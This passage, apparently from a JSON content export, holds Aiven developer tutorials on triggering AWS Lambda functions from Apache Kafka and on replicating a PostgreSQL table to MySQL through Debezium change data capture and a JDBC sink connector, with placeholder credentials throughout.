**Secret type**\n* Select the **Plaintext** editor and include the following JSON\n\n```json\n    {\n        \"certificate\":\"\u003cACCESS_CERTIFICATE\u003e\",\n        \"privateKey\":\"\u003cACCESS_KEY\u003e\"\n    }\n```\n\nThe `\u003cACCESS_CERTIFICATE\u003e` and `\u003cACCESS_KEY\u003e` are respectively the Access certificate and Access key you can find in the Aiven Console, under the Aiven for Apache Kafka service *Overview* tab. \n\nThe access certificate should start  with `-----BEGIN CERTIFICATE-----` and end with `-----END CERTIFICATE-----`, the whole content should be included.\nThe access key should start  with `-----BEGIN PRIVATE KEY-----` and end with `-----END PRIVATE KEY-----`, the whole content should be included.\n\n* Click **Next**\n* Define a secret name (e.g. `prod/AppLambdaTest/Kafka`), a description, tags and resource permissions\n* Click **Next**\n* Define the rotation configuration and click **Next**\n* Review the secret details and click **Next**\n\nThe secret contains the Aiven for Apache Kafka access certificate and key. We need to do the same set of steps to store the **CA certificate**. The JSON format for this second secret is:\n\n```json\n    {\n        \"certificate\":\"\u003cCA_CERTIFICATE\u003e\"\n    }\n```\n\nThe `\u003cCA_CERTIFICATE\u003e` is the Access CA you can find in the Aiven Console, under the Aiven for Apache Kafka service *Overview* tab. You need to include everything from the `-----BEGIN CERTIFICATE-----` to the `-----END CERTIFICATE-----` including the two opening and closing strings. \n\nName the CA related secret `prod/AppLambdaTest/KafkaCA`\n\n## Define a Lambda function\n\nThe next step is to define the Lambda function to perform some simple logging of the events coming in. We can create a Lambda function by:\n\n* Go to the [AWS Lambda service page](https://aws.amazon.com/lambda/)\n* Click **Create function**\n* Select **Author from scratch**\n* Give the function a name \n* Select `Python 3.11` as *Runtime*\n* Select `x86_64` as *Architecture*\n* In the **Permissions** section select **Create a new role with basic Lambda permissions**\n\n![A view of the AWS console showing the Lamdba settings](https://cdn.sanity.io/images/sczeoy4w/production/261f9f3f3b55f3648c568afb3e9809ed5f309976-1559x1080.png)\n\n* Click on **Create function**\n\n### Enable the new AWS role to access the Apache Kafka secrets\n\nThe basic role created during the Lambda definition allows only [CloudWatch logging](https://aws.amazon.com/it/cloudwatch/) by default. We need to enable the role to read the secrets containing the Apache Kafka certificates needed to connect to the Aiven service. We can do that by:\n\n* In the AWS Lambda function details page, click on the **Configuration** tab\n* Select the **Permission** section\n* Click on **Edit**\n* Click on the **View the `\u003cROLENAME\u003e`** link at the bottom of the page to edit the newly created role (the `\u003cROLENAME\u003e` is a string including the Lambda function name, the `role` string and a random string suffix), this opens [AWS Identity and Access Management](https://aws.amazon.com/iam/) (IAM)\n* Click on **Add permissions** and select **Create inline policy**\n* Type **Secrets Manager** in the *Select a service* search screen and select **Secrets Manager**\n* Expand the *Read* section and select the `GetSecretValue`\n* In the *Resources* section, optionally filter the [AWS Amazon Resource Names](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html) the role will be able to access or select **All** to allow the role access all secrets.\n* Give the new policy a name\n* Click on **Next** and **Create policy**\n\nThe new inline policy is added to the newly created role.\n\n![New policy added](https://cdn.sanity.io/images/sczeoy4w/production/4bcbd1ac2601015527fb253f29fd57306449a541-1328x351.png)\n\n### Create the Lambda trigger pointing to Apache Kafka\n\nBack on the [AWS Lambda service page](https://aws.amazon.com/lambda/) where the newly created function has now all the privileges to access the secrets needed to connect to Apache Kafka. We can setup the trigger by:\n\n* In the *Function overview* click on **+ Add trigger**\n* Select **Apache Kafka**\n* Under the *Bootstrap servers* click on **Add** and include Aiven for Apache Kafka bootstrap server that you can find in the Aiven Console, service page, overview tab.\n* Set `1` as batch size, so the function is called on every event\n* Set `test` as topic name\n* Select `CLIENT_CERTIFICATE_TLS_AUTH` as *Authentication*\n* Select the secret containing the access certificate and key in the *Secrets Manager key*\n* Select the secret containing the CA certificate in the *Encryption*\n* Click on **Add**\n\n### Write the Lambda logic\n\nThe last step in our journey is to define what the Lambda function should do. To define that we need to:\n\n* In the [AWS Lambda service page](https://aws.amazon.com/lambda/) for the lambda function, navigate to the **Code** tab\n* Write the following in the *lambda_function* section\n\n```python\nimport json\nimport base64\n\ndef lambda_handler(event, context):\n    partition=list(event['records'].keys())[0]\n    message=event['records'][partition]\n    for data in message:\n        stringvalue = base64.b64decode(data['value'])\n        value=json.loads(stringvalue)\n        print('pizza ' + value['pizza'])\n        print('name ' + value['name'])\n```\n\nIn the above code we:\n\n* include `json` to parse the JSON values to push to the kafka topic\n* create the partition `partition=list(event['records'].keys())[0]`. To retrieve the name of the partition, check the details of an [example event in the AWS documentation](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html#smaa-sample-event)\n* Get the messages and the value session (`data['value']`, then print the `pizza` and `name` fields, after decoding from `base64`.\n\nIt's time to run the function with the **Deploy** button.\n\n\n### Check the pipeline results\n\nTo check if the pipeline is working, we need to:\n\n* Push records in the Apache Kafka `test` topic \n* Check in the logs that the messages are printed\n\nWe can test it by:\n\n* In the Aiven Console, navigate to the Aiven for Apache Kafka service\n* Click on the **Topic** section\n* Click on the `test` topic\n* Click on the **Messages** button\n* Click on **Produce message** button\n* Select *json* as format\n* Select the **Value** tab\n* Paste the following into the main editing area\n\n```json\n{\n    \"pizza\":\"Pepperoni\",\n    \"name\": \"Frank\"\n}\n```\n\nTo check that the Lambda function works:\n\n* In the AWS Lambda page, navigate to the **Monitor** tab\n* In the *Metrics* subtab, you should see the number of invocations, success and error rates\n* In the *Logs* subtab, you should be able to check the log details. Opening the latest logs you should see an entry like the following\n\n```text\npizza Pepperoni\nname Frank\n```\n\n\n## Scalable event driven architecture with AWS Lambda and Apache Kafka\n\nAWS Lambda functions are a widely adopted by developers to ingest and parse a scalable amount of data without having to pre-provision a dedicated service. \n\nThe combination between Lambda functions and Apache Kafka offers an interesting option for building scalable, serverless, event driven architectures. It lets you read data from Apache Kafka without having to code an application or deploy a service specific to that. This reduces your overall infrastructure cost and the complexity of your system.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-07T12:04:08.265Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2023-11-24T14:38:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Serverless event driven architecture with AWS Lambda functions and Apache Kafka®","asset":{"_ref":"image-52c82f746fd5f05f6b59a2d0300198af45a9cf4d-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/serverless-eda-aws-lambda-apache-kafka"},"subtitle":"Build serverless Event Driven Architectures (EDA) by combining Apache Kafka® with AWS Lambda functions. Learn how to trigger Lambda functions based on events flowing in an Apache Kafka topic","tags":[{"_key":"eb1a57dc7067","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"9953b1fc0298","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"2bf705de4d91","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"50f70be479fd","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"}],"title":"Serverless event driven architecture with AWS Lambda functions and Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:41:37Z","_id":"8b9a64ed-bac3-42ca-b892-2b5fe33d4bf1","_rev":"lbpMA3MBWy0eIji4xntCK6","_type":"devArticle","_updatedAt":"2024-12-11T12:06:07Z","body":"Technologies change all the time, and the best platform choice at the start of the project sometimes does not look so great after time has passed or requirements have become clearer. This is true for databases as well, but managing transitions in this area of your application can be disruptive if there are multiple systems involved.\n\nThe ideal situation is to enable both the old and new database platforms to be in use at once, and kept perfectly in sync. This allows engineering teams to perform safe migrations without all needing to be in lockstep with one another. As it happens, this sort of linking technology exists, and its name is Apache Kafka® Connect.\n\nIn this blog post we'll explore the usage of Apache Kafka® and Apache Kafka® Connect as streaming bridge between different database technologies, and how the use of the Debezium Connector enables tracking changes as soon as they happen and propagate them to a Kafka topic. \n\n::alert[This article describes the configuration for Debezium version 2.5 and later. It also uses `pgoutput` instead of`wal2json`, as `wal2json` was deprecated in Debezium 2.0.]{title=\"Debezium 2.5\"}\n\n## The big picture\n\n::alert[Here's a useful read if your [database migration tool](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database) questions are still in their early stages.]{title=\"Tip\" type=\"success\"}\n\nFor the aim of this blog post, we define a scenario where the original database is PostgreSQL® and the target is MySQL and we'll create a streaming replica from source to target. To achieve it, we need a data streaming platform, and Apache Kafka gives us the ability to ingest and consume data in near real time with a platform proven at scale.\n\nThe missing piece is the connection between the various components, but the good news is that we don't have to bring in additional tools: Apache Kafka Connect, part of the Apache Kafka ecosystem, enables us to just define data sources and targets making the data extraction and load a matter of a couple of config files. \n\nApache Kafka Connect offers a huge variety of connectors enabling integrations between databases, data stores, http endpoints, analytics tools. The complete list of Aiven's supported managed connectors is available in our [dedicated documentation](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html).\n\nWhen dealing with a source relational database, Apache Kafka Connect provides a couple of options: we could use the JDBC approach as explained in a [previous artticle](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example), querying the source database on a polling interval. If, on the other side, we want to embrace the event-driven paradigm, by detecting and streaming every change as soon as it happens, we need to take onboard a proper Change Data Capture solution like [Debezium](https://debezium.io/).\n\n![Diagram showing the components: PostgreSQL, Apache Kafka, Kafka Connect, Debezium and MySQL](//cdn.sanity.io/images/sczeoy4w/production/42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178.png \"Data flows from PostgreSQL to Kafka, via Debezium Source Connector, and then to MySQL, via JDBC Sink Collector\")\n\n## Create the environments\n\nThe complete set of technologies is fully open-source. For the sake of simplicity I'll use the Aiven managed services and deploy the required services with help of the [Aiven CLI](https://aiven.io/docs/tools/cli.html). Let's start by creating an Aiven for Apache Kafka service named `demo-kafka` in the `google-europe-west3` region with the juicy `business-4` plan. During service creation we can enable Apache Kafka connect and the schema registry functionality provided by [Aiven's Karapace](https://github.com/aiven/karapace) and the [automatic topic creation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html).\n\n```bash\navn service create demo-kafka               \\\n    --service-type kafka                    \\\n    --cloud google-europe-west3             \\\n    --plan business-4                       \\\n    -c kafka_connect=true                   \\\n    -c schema_registry=true                 \\\n    -c kafka.auto_create_topics_enable=true\n```\n\nCreating the PostgreSQL database follows a similar pattern, this time the name is `demo-pg` (I'm low in creativity today), located in the same region as the Apache Kafka service to minimize the latency and using a smaller ``startup-4`` plan.\n\n```bash\navn service create demo-pg      \\\n    --service-type pg           \\\n    --cloud google-europe-west3 \\\n    --plan startup-4\n```\n\nThe final piece is represented by the target database, MySQL in our scenario: \n\n```bash\navn service create demo-mysql    \\\n    --service-type mysql         \\\n    --cloud google-europe-west3  \\\n    --plan business-4\n```\n\nLet's now grab a quick espresso, we have a couple of minutes of waiting time before the services are created... The long waiting times for servers provisioning are gone. We can also check the service creation progress and get prompted when it's finished using the [Aiven CLI wait command](https://aiven.io/docs/tools/cli/service.html#avn-service-wait).\n\n## Create a dataset in PostgreSQL\n\nOnce our three services are in running state, we define our data playground by creating a small table in PostgreSQL containing data about a thing where precision and consistency across technologies matters: pasta and cooking minutes!\n\nWe can connect to the `demo-pg` PostgreSQL database using the dedicated command:\n\n```bash\navn service cli demo-pg\n```\n\nThe utility fetches the connection parameters and uses [psql](https://www.postgresql.org/docs/current/app-psql.html) to connect. Once in the database, we create the `pasta` table and insert a few rows with the following command:\n\n```sql\ncreate table pasta (id serial, name varchar primary key, cooking_minutes int);\nalter table pasta replica identity full;\ninsert into pasta (name, cooking_minutes) values ('spaghetti', 8);\ninsert into pasta (name, cooking_minutes) values ('pennette', 7);\ninsert into pasta (name, cooking_minutes) values ('linguine', 10);\ninsert into pasta (name, cooking_minutes) values ('farfalle', 9);\n```\n\n## Capture changes with the Debezium source connector\n\nWe covered the JDBC source connector in a [another article](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example), but, as explained above, the JDBC route will only query the database on polling intervals, possibly adding a delay in the event capture. The alternative is represented by the [Debezium source connector for PostgreSQL](https://debezium.io/documentation/reference/stable/connectors/postgresql.html) which extracts the changes committed to the transaction log and provides them in a standard format into an Apache Kafka topic. \n\nTo set it up we need to define a configuration file named `connector_pg_source.json` with the following content\n\n```json\n{\n    \"name\": \"cdc-source-pg\",\n    \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n    \"database.hostname\": \"[PG_HOSTNAME]\",\n    \"database.port\": \"[PG_PORT]\",\n    \"database.user\": \"[PG_USER]\",\n    \"database.password\": \"[PG_PASSWORD]\",\n    \"database.dbname\": \"[PG_DB_NAME]\",\n    \"database.sslmode\": \"[PG_SSL_MODE]\",\n    \"plugin.name\": \"pgoutput\",\n    \"slot.name\": \"test_slot\",\n    \"publication.name\": \"test_pub\",\n    \"topic.prefix\": \"my_pg_source\",\n    \"table.include.list\": \"public.pasta\",\n    \"tombstones.on.delete\": \"true\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\"\n}\n```\n\nThe configuration file states that we are going to create a Debezium source connector named `cdc-source-pg`, with the `pgoutput` PostgreSQL output plugin, using a [logical replication publication](https://www.postgresql.org/docs/current/logical-replication-publication.html) named `test_pub` and a [replication slot](https://aiven.io/docs/products/postgresql/howto/setup-logical-replication) named `test_slot`. Moreover we are using `topic.prefix` as the prefix for topic names, and use `table.include.list` to indicate we want to include the table `public.pasta` in the replica. \n\nFinally we create tombstone messages for deletions (`tombstones.on.delete`) and we convert keys and values to Avro since, compared to JSON, it is far lighter on the network and allows us to have the events schema defined, which will be handy once we push the data. You can check each parameter definition in the [dedicated documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html).  \n\nTo make it work we need to substitute a few placeholders:\n\n* `[PG_HOSTNAME]`, `[PG_PORT]`, `[PG_USER]`, `[PG_PASSWORD]`, `[PG_DB_NAME]`, `[PG_SSL_MODE]`: these are the PostgreSQL connection parameters, and, if you're using Aiven, are available with:\n\n```bash\navn service get demo-pg --format '{service_uri_params}'\n```\n\n* `[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]`: We are using Aiven's [Karapace schema registry](https://github.com/aiven/karapace) to store Avro messages' schemas. To retrieve the connection URI execute the following command: \n\n```bash\navn service get demo-kafka --json | jq '.connection_info.schema_registry_uri'\n```\n\nThe schema registry URI contains both the url and the credentials in the form `http://avnadmin:kafka_schema_registry_password@kafka_host:schema_registry_port`. We can therefore also fill the `[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]` placeholders accordingly.\n\nWe can now start the change data capture flow with the help of the Aiven CLI in our terminal:\n\n```bash\navn service connector create demo-kafka @connector_pg_source.json\n```\n\nCheck if it is running with\n```bash\navn service connector status demo-kafka cdc-source-pg\n```\n\n## Avoid the \"must be superuser\" error\n\nWhen creating the connector, you might encounter the error `must be superuser to create FOR ALL TABLES publication`. This is because the connector tries to create a publication for all tables. In order to solve the problem you can create the publication directly in PostgreSQL by:\n\n* installing the [aiven_extras](https://github.com/aiven/aiven-extras) extension\n\n  ```\n  CREATE EXTENSION aiven_extras CASCADE;\n  ```\n\n* create the publication for the `public.pasta` table\n\n  ```\n  SELECT *\n  FROM aiven_extras.pg_create_publication(\n      'test_pub',\n      'INSERT,UPDATE,DELETE',\n      'public.pasta'\n  );\n  ```\n\nOnce the publication is created, you can delete and then start the connector again, and it should work.\n\n## Check the data in Apache Kafka\n\nThe Debezium source connector creates a topic named `my_pg_source.public.pasta` (the concatenation of the `topic.prefix` and the schema and table name parameters). To inspect it, we can use [kcat](https://github.com/edenhill/kcat), more details on it's configuration can be found in the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/kcat.html).\n\nOnce SSL keys have been downloaded and the `kcat` configuration file is set, we can check the data in Apache Kafka with the following command in a new terminal window:\n\n```bash\nkcat -F kcat.config               \\\n    -C -t my_pg_source.public.pasta \\\n    -s avro                       \\\n    -r https://[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]@[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT] \\\n    -f 'Key: %k\\nValue: %s\\n'\n```\n\nThe above calls kcat with the following parameters:\n* `-F kcat.config`: using the `kcat.config` file for connection details\n* `-C -t my_pg_source.public.pasta`: kcat is called in consumer mode (`-C`) reading from the `my_pg_source.public.pasta` topic\n* `-s avro`: the expected topic data forma is AVRO\n* `-r https://[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]@[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]`: Aiven's Karapace schema registry connection URI including username and password. Replace the placeholders with the correct values fetched above.\n* `-f 'Key: %k\\nValue: %s\\n'`: output format, for each event displays the key (`%k`) and value (`%s`)\n\nThe output of the kcat call is the following:\n\n```\n% Reading configuration from file kcat.config\nKey: {\"name\": \"spaghetti\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"name\": \"spaghetti\", \"cooking_minutes\": {\"int\": 8}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"first\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758689}, \"transaction\": null}\nKey: {\"name\": \"pennette\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758696}, \"transaction\": null}\nKey: {\"name\": \"linguine\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"name\": \"linguine\", \"cooking_minutes\": {\"int\": 10}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758697}, \"transaction\": null}\nKey: {\"name\": \"farfalle\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"name\": \"farfalle\", \"cooking_minutes\": {\"int\": 9}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758697}, \"transaction\": null}\n% Reached end of topic my_pg_source.public.pasta [0] at offset 4\n```\n\nDuring the first run, the Debezium connector creates a new message in the Apache Kafka topic for each row present in the `pasta` table. For each row we can see the current value (in the `after` section of the JSON document) together with additional information regarding timestamps and transaction ids. It's worth mentioning that the rows updated/deleted before we started the change data capture are not detected since Debezium doesn't go back in time. But, if now we want our `pennette` to be a bit more \"al dente\",  and update the row in the PostgreSQL database with:\n\n```sql\nupdate pasta set cooking_minutes=6 where name='pennette';\n```\n\nWe can see the resulting update in kcat as:\n\n```\nKey: {\"name\": \"pennette\"}\nValue: {\"before\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}, \"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 6}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763844729, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118076128\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 812}, \"lsn\": {\"long\": 118076128}, \"xmin\": null}, \"op\": \"u\", \"ts_ms\": {\"long\": 1733763845522}, \"transaction\": null}\n% Reached end of topic my_pg_source.public.pasta [0] at offset 5\n```\n\nIn case of updates (`\"op\": \"u\"`), the Debezium source connector provides the situation as before the change\n```json\n\"before\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}\n```\nand after it\n```json\n\"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 6}}}\n```\n\nNow that the data is in a Kafka topic, we can serve to one or many downstream data sinks as it is, or, if we want to process and manipulate the data in real time, we could define some stream processing data pipelines using [Aiven for Apache Flink](https://aiven.io/flink). \n\n## Sink data to MySQL\n\nLet's stick to the original plan: a simple PostgreSQL -\u003e Apache Kafka -\u003e MySQL copy of the data. To achieve the last segment, we can create another Kafka Connect connector, this time a JDBC sink, by defining its properties in another configuration file (we'll refer to the file as `connector_sink_mysql.json`) with the following content:\n\n```json\n{\n    \"name\": \"cdc-sink-mysql\",\n    \"connector.class\": \"io.aiven.connect.jdbc.JdbcSinkConnector\",\n    \"topics\": \"my_pg_source.public.pasta\",\n    \"connection.url\": \"jdbc:mysql://[MYSQL_HOSTNAME]:[MYSQL_PORT]/[MYSQL_DB_NAME]?ssl-mode=REQUIRED\",\n    \"connection.user\": \"[MYSQL_USER]\",\n    \"connection.password\": \"[MYSQL_PASSWORD]\",\n    \"auto.create\": \"true\",\n    \"insert.mode\": \"upsert\",\n\t\t\"delete.enabled\": \"true\",\n    \"table.name.format\": \"pasta_mysql\",\n    \"pk.mode\": \"record_key\",\n    \"pk.fields\": \"name\",\n    \"auto.create\": \"true\",\n    \"transforms\": \"newrecordstate\",\n    \"transforms.newrecordstate.type\": \"io.debezium.transforms.ExtractNewRecordState\",\n    \"transforms.newrecordstate.drop.tombstones\": \"false\",\n    \"transforms.newrecordstate.delete.handling.mode\": \"rewrite\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\"\n}\n```\n\nThe configuration file states that we are going to create a JDBC sink connector named `cdc-sink-mysql`, reading from the topic `my_pg_source.public.pasta` and pushing data to a MySQL database table called `pasta_mysql` in `upsert` mode. The primary key will be based on a field of the `record_key` called `name`. \nMoreover we are enabling the target table automatic creation if it doesn't exist (`auto.create`), extracting the new record state (`ExtractNewRecordState`) and propagating record deletions as soft deletes (`\"delete.handling.mode\":\"rewrite\"`). To read more about Debezium related message transformation check the [dedicated documentation](https://access.redhat.com/documentation/en-us/red_hat_integration/2020-q2/html/debezium_user_guide/configuring-debezium-connectors-for-your-application#behavior-of-debezium-extractnewrecordstate-transformation).\n\nFinally, since our messages are in Avro format, we define again the `key.converter` and `value.converter` to extract the related schemas from [Aiven Karapace](https://github.com/aiven/karapace) and decode the messages.\n\nAgain, to take the connector into action, we need to replace some placeholders:\n\n* `[MYSQL_HOSTNAME]`, `[MYSQL_PORT]`, `[MYSQL_DB_NAME]`, `[MYSQL_USER]`, `[MYSQL_PASSWORD]`: these are the MySQL connection parameters, and, if you're using Aiven, are be available with:\n\n```bash\navn service get demo-mysql --format '{service_uri}'\n```\n\n* `[APACHE_KAFKA_HOST]`, `[SCHEMA_REGISTRY_PORT]`, `[SCHEMA_REGISTRY_USER]`, `[SCHEMA_REGISTRY_PASSWORD]`: we can reuse the same [Karapace schema registry](https://github.com/aiven/karapace) connection parameters fetched above.\n\nWe are ready to create the sink connector with the Aiven CLI with:\n\n```bash\navn service connector create demo-kafka @connector_sink_mysql.json\n```\n\n## Check the data in MySQL\n\nAfter creating the connector, we should see the `pasta_mysql` table created in the MySQL target database. To check things out we can connect using the [mysql client](https://dev.mysql.com/doc/mysql-getting-started/en/) from a new terminal window reusing the same connection parameters we got before:\n\n```\nmysql -u [MYSQL_USER] -P [MYSQL_PORT] -h [MYSQL_HOSTNAME] -D [MYSQL_USER] -p[MYSQL_PASSWORD]\n```\n\nAfter connecting, we can check the data in the `pasta_mysql` table with:\n\n```\nselect * from pasta_mysql;\n```\n\nAnd we can see the updated data as per the PostgreSQL table:\n\n```\n+------+-----------+-----------------+-----------+\n| id   | name      | cooking_minutes | __deleted |\n+------+-----------+-----------------+-----------+\n|    4 | farfalle  |               9 | false     |\n|    3 | linguine  |              10 | false     |\n|    2 | pennette  |               6 | false     |\n|    1 | spaghetti |               8 | false     |\n+------+-----------+-----------------+-----------+\n4 rows in set (0.02 sec)\n```\n\nNow, if we do a couple of changes on the PostgreSQL side, changing the format from `spaghetti` to `spaghettini` and removing the `linguine` row.\n\n```\nupdate pasta set name='spaghettini' where name='spaghetti';\ndelete from pasta where name='linguine';\n```\n\nWe can check that the same changes are immediately applied on the MySQL side: both the `spaghetti` and `linguine` are now soft deleted (`__deleted` equal `true`) and the new entry `spaghettini` is correctly stored.\n\n```\n+------+-------------+-----------------+-----------+\n| id   | name        | cooking_minutes | __deleted |\n+------+-------------+-----------------+-----------+\n|    4 | farfalle    |               9 | false     |\n|    3 | linguine    |              10 | true      |\n|    2 | pennette    |               6 | false     |\n|    1 | spaghetti   |               8 | true      |\n|    1 | spaghettini |               8 | false     |\n+------+-------------+-----------------+-----------+\n```\n\n## Keep data in sync to support technical change\n\nApache Kafka and Apache Kafka Connect provide integrations and flexibility; a way to bridge technologies keeping data in sync by detecting changes and propagating them in near real time. Beyond that, by making data flow through Apache Kafka we can also create multiple downstream data pipelines into different technologies, by adding more Kafka Connect connectors without impacting the source database. \n\nBy using the Debezium Kafka Connect connector, you can track every modification performed in the source database, and store and propagate additional information such as the pre and post data points, change type, and related timestamps. This extra metadata really improves and empowers our change data capture process.\n\nTry these resources to get started and learn more:\n\n* [5 good questions to ask before migrating your database](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database) for some general considerations when moving to a managed cloud service\n* [Aiven for Apache Kafka technical documentation](https://aiven.io/docs/products/kafka/index.html) to find all the info you need to use our Apache Kafka offering\n* [Debezium connector for PostgreSQL](https://debezium.io/documentation/reference/stable/connectors/postgresql.html) where to find details about how to set up change data capture for PostgreSQL\n* [Aiven Karapace](https://github.com/aiven/karapace) where to find how to use Aiven's built open source schema registry for Apache Kafka\n* [Aiven for Apache Flink](https://aiven.io/flink) to learn more about handling data transformations and detecting patterns in your data as it streams from one system to another.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:41:31.542Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5eac5c53e287","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-02-03T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/db-technology-migration-with-apache-kafka-and-kafka-connect"},"subtitle":"Find out how to use Apache Kafka® to migrate across database technologies while keeping the target continually in sync with the 